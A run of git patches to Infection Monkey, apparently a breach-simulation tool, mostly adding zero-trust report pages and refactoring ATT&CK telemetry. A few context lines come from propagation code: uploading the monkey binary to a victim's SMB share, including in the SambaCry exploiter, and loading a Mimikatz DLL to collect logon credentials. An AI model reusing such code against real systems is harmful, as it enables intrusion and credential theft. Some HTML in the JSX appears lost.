b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js index ed0ebc1e9..afe9003b3 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js @@ -12,7 +12,7 @@ class T1105 extends React.Component { static getFilesColumns() { return ([{ - Header: 'Files copied.', + Header: 'Files copied', columns: [ {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 }, {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170}, From 444144aecceca05a86cc03b94e8d19cf124d3d2d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 1 Aug 2019 14:58:55 +0300 Subject: [PATCH 042/276] Added report types: zero_trust and general Also moved the report resources to their own folder --- monkey/monkey_island/cc/app.py | 6 ++- monkey/monkey_island/cc/resources/report.py | 13 ----- .../cc/resources/reporting/__init__.py | 0 .../cc/resources/reporting/report.py | 51 +++++++++++++++++++ .../cc/ui/src/components/pages/ReportPage.js | 2 +- 5 files changed, 56 insertions(+), 16 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/report.py create mode 100644 monkey/monkey_island/cc/resources/reporting/__init__.py create mode 100644 monkey/monkey_island/cc/resources/reporting/report.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 2e04ef0be..2c778e61b 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -23,7 +23,7 @@ from monkey_island.cc.resources.monkey_download import MonkeyDownload from monkey_island.cc.resources.netmap import NetMap from monkey_island.cc.resources.node import Node from monkey_island.cc.resources.remote_run import RemoteRun -from monkey_island.cc.resources.report import Report +from monkey_island.cc.resources.reporting.report import Report from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed @@ -122,7 +122,9 @@ def init_api_resources(api): api.add_resource(NetMap, '/api/netmap', '/api/netmap/') api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/') api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') - api.add_resource(Report, '/api/report', '/api/report/') + + # report_type: zero_trust or general + api.add_resource(Report, '/api/report/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') diff --git a/monkey/monkey_island/cc/resources/report.py b/monkey/monkey_island/cc/resources/report.py deleted file mode 100644 index d75f91b0f..000000000 --- a/monkey/monkey_island/cc/resources/report.py +++ /dev/null @@ -1,13 +0,0 @@ -import flask_restful - -from monkey_island.cc.auth import jwt_required -from monkey_island.cc.services.reporting.report import ReportService - -__author__ = "itay.mizeretz" - - -class Report(flask_restful.Resource): - - @jwt_required() - def get(self): - return ReportService.get_report() diff --git a/monkey/monkey_island/cc/resources/reporting/__init__.py b/monkey/monkey_island/cc/resources/reporting/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py new file mode 100644 index 000000000..9c6cf88da --- /dev/null +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -0,0 +1,51 @@ +import httplib + +import flask_restful +from flask import jsonify + +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.services.reporting.report import ReportService + +ZERO_TRUST_REPORT_TYPE = "zero_trust" +GENERAL_REPORT_TYPE = "general" +REPORT_TYPES = [GENERAL_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] + +__author__ = "itay.mizeretz" + + +class Report(flask_restful.Resource): + + @jwt_required() + def get(self, report_type): + if report_type == GENERAL_REPORT_TYPE: + return ReportService.get_report() + elif report_type == ZERO_TRUST_REPORT_TYPE: + fakedict = { + "are_all_monkeys_done": False, + "findings": [ + { + "test": "Monkey 8 found a machine with no AV software active.", + "pillars": ["Devices"], + "events": [ + { + "timestamp": "2019-08-01 14:48:46.112000", + "message": "log1" + }, { + "timestamp": "2019-08-01 14:48:42.112000", + "message": "log2" + }] + }, + { + "test": "Monkey 6 successfully exploited machine XXX with shellshock.", + "pillars": ["Devices", "Networks"], + "events": [ + { + "timestamp": "2019-08-01 14:48:46.112000", + "message": "log3" + }] + } + ] + } + return jsonify(fakedict) + + flask_restful.abort(httplib.NOT_FOUND) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 4d1f6d4dd..b48d95a20 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -117,7 +117,7 @@ class ReportPageComponent extends AuthComponent { getReportFromServer(res) { if (res['completed_steps']['run_monkey']) { - this.authFetch('/api/report') + this.authFetch('/api/report/general') .then(res => res.json()) .then(res => { this.setState({ From ee1d6507b044ef4ff9cbff764a8bf610b60c3ed3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 1 Aug 2019 17:39:53 +0300 Subject: [PATCH 043/276] Refactored T1106 to use Usage enum and fixed SMB bugs --- monkey/common/utils/attack_utils.py | 6 ++++++ monkey/infection_monkey/dropper.py | 5 ++--- monkey/infection_monkey/exploit/sambacry.py | 4 ++-- monkey/infection_monkey/exploit/tools/helpers.py | 1 + .../infection_monkey/exploit/tools/smb_tools.py | 8 ++++---- .../system_info/mimikatz_collector.py | 3 +-- monkey/infection_monkey/system_singleton.py | 15 +++++++++------ .../telemetry/attack/t1106_telem.py | 2 +- 8 files changed, 26 insertions(+), 18 deletions(-) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index 3edb0dc28..23b7e078c 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -15,6 +15,12 @@ class UsageEnum(Enum): ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."} MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."} + MIMIKATZ_FILE_COPY = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.", + ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz, but failed."} + SINGLETON_FILE_COPY = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.", + ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" + " for monkey process wasn't successful."} + DROPPER_FILE_COPY = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} # Dict that describes what BITS job was used for diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 6bd9dab84..6b8e969c0 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -15,7 +15,7 @@ from infection_monkey.exploit.tools.helpers import build_monkey_commandline_expl from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from infection_monkey.system_info import SystemInfoCollector, OperatingSystem from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from common.utils.attack_utils import ScanStatus +from common.utils.attack_utils import ScanStatus, UsageEnum if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -158,7 +158,6 @@ class MonkeyDrops(object): else: LOG.debug("Dropper source file '%s' is marked for deletion on next boot", self._config['source_path']) - T1106Telem(ScanStatus.USED, "WinAPI was used to mark monkey files" - " for deletion on next boot.").send() + T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_FILE_COPY).send() except AttributeError: LOG.error("Invalid configuration options. Failing") diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 23d89bfa5..762cc14b5 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -270,8 +270,8 @@ class SambaCryExploiter(HostExploiter): with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) T1105Telem(ScanStatus.USED, - get_interface_to_target(self.host.ip_addr[0]), - self.host.ip_addr[0], + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, monkey_bin_64_src_path).send() smb_client.disconnectTree(tree_id) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 83a8bfd92..bc74128e2 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -19,6 +19,7 @@ def get_interface_to_target(dst): s.connect((dst, 1)) ip_to_dst = s.getsockname()[0] except KeyError: + LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.") ip_to_dst = '127.0.0.1' finally: s.close() diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index af088d9eb..6ca0b63ad 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -140,8 +140,8 @@ class SmbTools(object): file_uploaded = True T1105Telem(ScanStatus.USED, - get_interface_to_target(host.ip_addr[0]), - host.ip_addr[0], + get_interface_to_target(host.ip_addr), + host.ip_addr, dst_path).send() LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", src_path, share_name, share_path, host) @@ -151,8 +151,8 @@ class SmbTools(object): LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc) T1105Telem(ScanStatus.SCANNED, - get_interface_to_target(host.ip_addr[0]), - host.ip_addr[0], + get_interface_to_target(host.ip_addr), + host.ip_addr, dst_path).send() continue finally: diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index d878bcb34..c0632a09e 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -47,7 +47,6 @@ class MimikatzCollector(object): collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) - T1106Telem(ScanStatus.USED, "WinAPI was called to load mimikatz.").send() self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) @@ -57,7 +56,7 @@ class MimikatzCollector(object): LOG.exception("Error initializing mimikatz collector") status = ScanStatus.SCANNED T1129Telem(status, UsageEnum.MIMIKATZ).send() - T1106Telem(ScanStatus.SCANNED, "Monkey tried to call WinAPI to load mimikatz.").send() + T1106Telem(status, UsageEnum.MIMIKATZ_FILE_COPY).send() def get_logon_info(self): """ diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 06a2ea689..a1c8762cd 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -5,7 +5,7 @@ from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from common.utils.attack_utils import ScanStatus +from common.utils.attack_utils import ScanStatus, UsageEnum __author__ = 'itamar' @@ -45,22 +45,25 @@ class WindowsSystemSingleton(_SystemSingleton): ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name)) last_error = ctypes.windll.kernel32.GetLastError() + + status = None if not handle: LOG.error("Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error) - T1106Telem(ScanStatus.SCANNED, "WinAPI call to acquire system singleton " - "for monkey process wasn't successful.").send() - - return False + status = ScanStatus.SCANNED if winerror.ERROR_ALREADY_EXISTS == last_error: + status = ScanStatus.SCANNED LOG.debug("Cannot acquire system singleton %r, mutex already exist", self._mutex_name) + if not status: + status = ScanStatus.USED + T1106Telem(status, UsageEnum.SINGLETON_FILE_COPY).send() + if status == ScanStatus.SCANNED: return False self._mutex_handle = handle - T1106Telem(ScanStatus.USED, "WinAPI was called to acquire system singleton for monkey's process.").send() LOG.debug("Global singleton mutex %r acquired", self._mutex_name) diff --git a/monkey/infection_monkey/telemetry/attack/t1106_telem.py b/monkey/infection_monkey/telemetry/attack/t1106_telem.py index 30cad6072..255145da8 100644 --- a/monkey/infection_monkey/telemetry/attack/t1106_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1106_telem.py @@ -6,6 +6,6 @@ class T1106Telem(UsageTelem): """ T1129 telemetry. :param status: ScanStatus of technique - :param usage: Usage string + :param usage: UsageEnum type value """ super(T1106Telem, self).__init__("T1106", status, usage) From 3dd7b9a15e4575a02dcc80b320f90486e3d69500 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 1 Aug 2019 19:39:09 +0300 Subject: [PATCH 044/276] Added a temporary Zero Trust report page. --- .../cc/ui/src/components/Main.js | 16 ++++- .../components/pages/ZeroTrustReportPage.js | 60 +++++++++++++++++++ 2 files changed, 73 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 619d5e922..5dd17659b 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -7,10 +7,10 @@ import RunServerPage from 'components/pages/RunServerPage'; import ConfigurePage from 'components/pages/ConfigurePage'; import RunMonkeyPage from 'components/pages/RunMonkeyPage'; import MapPage from 'components/pages/MapPage'; -import PassTheHashMapPage from 'components/pages/PassTheHashMapPage'; import TelemetryPage from 'components/pages/TelemetryPage'; import StartOverPage from 'components/pages/StartOverPage'; import ReportPage from 'components/pages/ReportPage'; +import ZeroTrustReportPage from 'components/pages/ZeroTrustReportPage'; import LicensePage from 'components/pages/LicensePage'; import AuthComponent from 'components/AuthComponent'; import LoginPageComponent from 'components/pages/LoginPage'; @@ -148,7 +148,7 @@ class AppComponent extends AuthComponent {
  • - + 4. Security Report {this.state.completedSteps.report_done ? @@ -156,6 +156,15 @@ class AppComponent extends AuthComponent { : ''}
  • +
  • + + 5. + Zero Trust Report + {this.state.completedSteps.report_done ? + + : ''} + +
  • @@ -190,7 +199,8 @@ class AppComponent extends AuthComponent { {this.renderRoute('/infection/map', )} {this.renderRoute('/infection/telemetry', )} {this.renderRoute('/start-over', )} - {this.renderRoute('/report', )} + {this.renderRoute('/report/general', )} + {this.renderRoute('/report/zero_trust', )} {this.renderRoute('/license', )} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js new file mode 100644 index 000000000..69aaf198d --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -0,0 +1,60 @@ +import React from 'react'; +import {Button, Col} from 'react-bootstrap'; +import BreachedServers from 'components/report-components/BreachedServers'; +import ScannedServers from 'components/report-components/ScannedServers'; +import PostBreach from 'components/report-components/PostBreach'; +import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; +import {edgeGroupToColor, options} from 'components/map/MapOptions'; +import StolenPasswords from 'components/report-components/StolenPasswords'; +import CollapsibleWellComponent from 'components/report-components/CollapsibleWell'; +import {Line} from 'rc-progress'; +import AuthComponent from '../AuthComponent'; +import PassTheHashMapPageComponent from "./PassTheHashMapPage"; +import StrongUsers from "components/report-components/StrongUsers"; +import AttackReport from "components/report-components/AttackReport"; + +let guardicoreLogoImage = require('../../images/guardicore-logo.png'); +let monkeyLogoImage = require('../../images/monkey-icon.svg'); + +class ZeroTrustReportPageComponent extends AuthComponent { + + constructor(props) { + super(props); + this.state = { + report: {}, + allMonkeysAreDead: false, + runStarted: true + }; + } + + render() { + let content; + let res; + this.getZeroTrustReportFromServer(res); + content = JSON.stringify(this.state.report); + + return ( + +

    4. Security Report

    +
    + {content} +
    + + ); + } + + // This dups the regular report + getZeroTrustReportFromServer(res) { + //if (res['completed_steps']['run_monkey']) { + this.authFetch('/api/report/zero_trust') + .then(res => res.json()) + .then(res => { + this.setState({ + report: res + }); + }); + //} + } +} + +export default ZeroTrustReportPageComponent; From 35c496812f8403cc343e467d343a2291f0879f9d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 2 Aug 2019 13:11:16 +0300 Subject: [PATCH 045/276] Fixed CR comments and implemented test for proxy attack techniques --- monkey/monkey_island/cc/models/monkey.py | 16 +++++------- monkey/monkey_island/cc/models/test_monkey.py | 26 +++++++++++++++++-- .../attack/technique_reports/T1090.py | 7 ++--- .../attack/technique_reports/T1188.py | 9 +++---- .../components/attack/techniques/Helpers.js | 1 + .../src/components/attack/techniques/T1090.js | 16 +++++++----- .../src/components/attack/techniques/T1188.js | 2 +- 7 files changed, 47 insertions(+), 30 deletions(-) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 418cec03f..f9f556844 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -68,19 +68,17 @@ class Monkey(Document): os = "windows" return os + def get_network_info(self): + """ + Formats network info from monkey's model + :return: dictionary with an array of IP's and a hostname + """ + return {'ips': self.ip_addresses, 'hostname': self.hostname} + @staticmethod def get_tunneled_monkeys(): return Monkey.objects(tunnel__exists=True) - @staticmethod - def get_network_info(monkey): - """ - Formats network info from monkey's model - :param monkey: monkey model - :return: dictionary with an array of IP's and a hostname - """ - return {'ips': monkey.ip_addresses, 'hostname': monkey.hostname} - class MonkeyNotFoundError(Exception): pass diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index a744db6b6..a44512995 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -9,11 +9,11 @@ from monkey_ttl import MonkeyTtl class TestMonkey(IslandTestCase): """ - Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and + Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and won't work. Also, the working directory needs to be the working directory from which you usually run the island so the - server.json file is found and loaded. + server_config.json file is found and loaded. """ def test_is_dead(self): @@ -77,3 +77,25 @@ class TestMonkey(IslandTestCase): self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects()))) self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects()))) self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects()))) + + def test_get_tunneled_monkeys(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + linux_monkey = Monkey(guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine") + windows_monkey = Monkey(guid=str(uuid.uuid4()), + description="Windows bla bla bla", + tunneling=linux_monkey) + unknown_monkey = Monkey(guid=str(uuid.uuid4()), + description="bla bla bla", + tunneling=windows_monkey) + linux_monkey.save() + windows_monkey.save() + unknown_monkey.save() + tunneled_monkeys = Monkey.get_tunneled_monkeys() + test = bool(windows_monkey in tunneled_monkeys + and unknown_monkey in tunneled_monkeys + and linux_monkey not in tunneled_monkeys + and len(tunneled_monkeys) == 2) + self.assertTrue(test, "Tunneling test") diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index 0e48d2198..f0835aff9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -15,11 +15,8 @@ class T1090(AttackTechnique): @staticmethod def get_report_data(): monkeys = Monkey.get_tunneled_monkeys() - monkeys = [Monkey.get_network_info(monkey) for monkey in monkeys] - if monkeys: - status = ScanStatus.USED.value - else: - status = ScanStatus.UNSCANNED.value + monkeys = [monkey.get_network_info() for monkey in monkeys] + status = ScanStatus.USED.value if monkeys else ScanStatus.UNSCANNED.value data = T1090.get_base_data_by_status(status) data.update({'proxies': monkeys}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index 6e35f7c7f..32187696a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -23,13 +23,10 @@ class T1188(AttackTechnique): proxy_count += 1 proxy = proxy.tunnel if proxy_count > 1: - hops.append({'from': Monkey.get_network_info(initial), - 'to': Monkey.get_network_info(proxy), + hops.append({'from': initial.get_network_info(), + 'to': proxy.get_network_info(), 'count': proxy_count}) - if hops: - status = ScanStatus.USED.value - else: - status = ScanStatus.UNSCANNED.value + status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value data = T1188.get_base_data_by_status(status) data.update({'hops': hops}) return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index adc0d2583..18df4b58f 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -17,6 +17,7 @@ export function renderMachineFromSystemData(data) { machineStr += ipInfo + ", "; } }); + // Replaces " ," with " )" to finish a list of IP's return machineStr.slice(0, -2) + " )" } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js index 99660cf65..d5fed289f 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js @@ -12,7 +12,6 @@ class T1090 extends React.Component { static getProxyColumns() { return ([{ - Header: "Proxies were used to communicate with:", columns: [ {Header: 'Machines', id: 'machine', @@ -26,12 +25,15 @@ class T1090 extends React.Component {
    {this.props.data.message}

    {this.props.data.status === scanStatus.USED ? - : ""} +
    +

    Proxies were used to communicate with:

    + +
    : ""}
  • ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js index f938c5e3f..c28a8092c 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js @@ -12,7 +12,7 @@ class T1188 extends React.Component { static getHopColumns() { return ([{ - Header: "Communications trough multi-hop proxies", + Header: "Communications through multi-hop proxies", columns: [ {Header: 'From', id: 'from', From 197ac585e80c7614a6be2e9f7e5d85732cb44a37 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 5 Aug 2019 14:27:47 +0300 Subject: [PATCH 046/276] Created basic zero trust report page mockup Extracted the reportHeader from the regular report --- .../cc/ui/src/components/pages/ReportPage.js | 28 ++----- .../components/pages/ZeroTrustReportPage.js | 84 ++++++++++++------- .../report-components/ReportHeader.js | 40 +++++++++ .../zerotrust/ZeroTrustPillars.js | 11 +++ .../zerotrust/ZeroTrustReportPillarGrades.js | 40 +++++++++ 5 files changed, 152 insertions(+), 51 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/ReportHeader.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index b48d95a20..936171aad 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -12,9 +12,10 @@ import AuthComponent from '../AuthComponent'; import PassTheHashMapPageComponent from "./PassTheHashMapPage"; import StrongUsers from "components/report-components/StrongUsers"; import AttackReport from "components/report-components/AttackReport"; +import ReportHeader, { ReportTypes } from "../report-components/ReportHeader"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); -let monkeyLogoImage = require('../../images/monkey-icon.svg'); + class ReportPageComponent extends AuthComponent { @@ -130,13 +131,16 @@ class ReportPageComponent extends AuthComponent { generateReportContent() { return (
    + { + // extract to print component. + }
    - {this.generateReportHeader()} +
    {this.generateReportOverviewSection()} {this.generateReportFindingsSection()} @@ -154,26 +158,6 @@ class ReportPageComponent extends AuthComponent { ); } - generateReportHeader() { - return ( - - ); - } - generateReportOverviewSection() { return (
    diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 69aaf198d..35e348e15 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -1,41 +1,32 @@ import React from 'react'; import {Button, Col} from 'react-bootstrap'; -import BreachedServers from 'components/report-components/BreachedServers'; -import ScannedServers from 'components/report-components/ScannedServers'; -import PostBreach from 'components/report-components/PostBreach'; -import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; -import {edgeGroupToColor, options} from 'components/map/MapOptions'; -import StolenPasswords from 'components/report-components/StolenPasswords'; -import CollapsibleWellComponent from 'components/report-components/CollapsibleWell'; -import {Line} from 'rc-progress'; import AuthComponent from '../AuthComponent'; -import PassTheHashMapPageComponent from "./PassTheHashMapPage"; -import StrongUsers from "components/report-components/StrongUsers"; -import AttackReport from "components/report-components/AttackReport"; - -let guardicoreLogoImage = require('../../images/guardicore-logo.png'); -let monkeyLogoImage = require('../../images/monkey-icon.svg'); +import ReportHeader, { ReportTypes } from "../report-components/ReportHeader"; +import ZeroTrustReportPillarGrades from "../report-components/zerotrust/ZeroTrustReportPillarGrades"; class ZeroTrustReportPageComponent extends AuthComponent { constructor(props) { super(props); + this.state = { - report: {}, + report: { + findings: undefined + }, allMonkeysAreDead: false, - runStarted: true + runStarted: false }; } render() { - let content; let res; this.getZeroTrustReportFromServer(res); - content = JSON.stringify(this.state.report); + + const content = this.generateReportContent(); return ( -

    4. Security Report

    +

    5. Zero Trust Report

    {content}
    @@ -43,17 +34,52 @@ class ZeroTrustReportPageComponent extends AuthComponent { ); } - // This dups the regular report - getZeroTrustReportFromServer(res) { - //if (res['completed_steps']['run_monkey']) { - this.authFetch('/api/report/zero_trust') - .then(res => res.json()) - .then(res => { - this.setState({ - report: res - }); + generateReportContent() { + let content; + + console.log(this.state.report.findings); + + if (typeof this.state.report.findings === "undefined") { + content = "Still empty"; + } else { + content =
    + +
    ; + } + + return ( +
    +
    + +
    + +
    + +
    + {content} + THIS IS THE RAW SERVER DATA +
    +            {JSON.stringify(this.state.report, undefined, 2)}
    +          
    +
    +
    + ) + } + + print() { + alert("unimplemented"); + } + + getZeroTrustReportFromServer() { + this.authFetch('/api/report/zero_trust') + .then(res => res.json()) + .then(res => { + this.setState({ + report: res }); - //} + }); } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ReportHeader.js b/monkey/monkey_island/cc/ui/src/components/report-components/ReportHeader.js new file mode 100644 index 000000000..adccb7371 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ReportHeader.js @@ -0,0 +1,40 @@ +import React, {Component} from "react"; +import {Col} from "react-bootstrap"; + +let monkeyLogoImage = require('../../images/monkey-icon.svg'); + +export const ReportTypes = { + zeroTrust: "Zero Trust", + security: "Security", + null: "" +}; + +export class ReportHeader extends Component { + report_type; + + render() { + return + } +} + +export default ReportHeader; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js new file mode 100644 index 000000000..bd8898205 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js @@ -0,0 +1,11 @@ +export const ZeroTrustPillars = { + data: "Data", + people: "People", + network: "Networks", + workload: "Workload", + devices: "Devices", + visibility: "Visibility & Analytics", + automation: "Automation & Orchestration" +}; + +export default ZeroTrustPillars; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js new file mode 100644 index 000000000..125151ea7 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js @@ -0,0 +1,40 @@ +import React, {Component} from "react"; +import ZeroTrustPillars from "./ZeroTrustPillars"; + +export class ZeroTrustReportPillarGrades extends Component { + render() { + let pillarsCounters = {}; + for(const pillar in ZeroTrustPillars){ + pillarsCounters[ZeroTrustPillars[pillar]] = 0; + } + + if (this.props.findings !== null) { + for (const finding of this.props.findings) { + console.log("finding: " + JSON.stringify(finding)); + if (typeof finding === 'object' && finding !== null) { + if (finding.hasOwnProperty("pillars")) { + for (const pillar of finding["pillars"]) { + pillarsCounters[pillar] = pillarsCounters[pillar] + 1; + } + } + } + } + } + + return ( +
    +

    + Pillars Overview +

    +

    + TODO: table with conditional colouring. +

    +
    +          {JSON.stringify(pillarsCounters, undefined, 2)}
    +        
    +
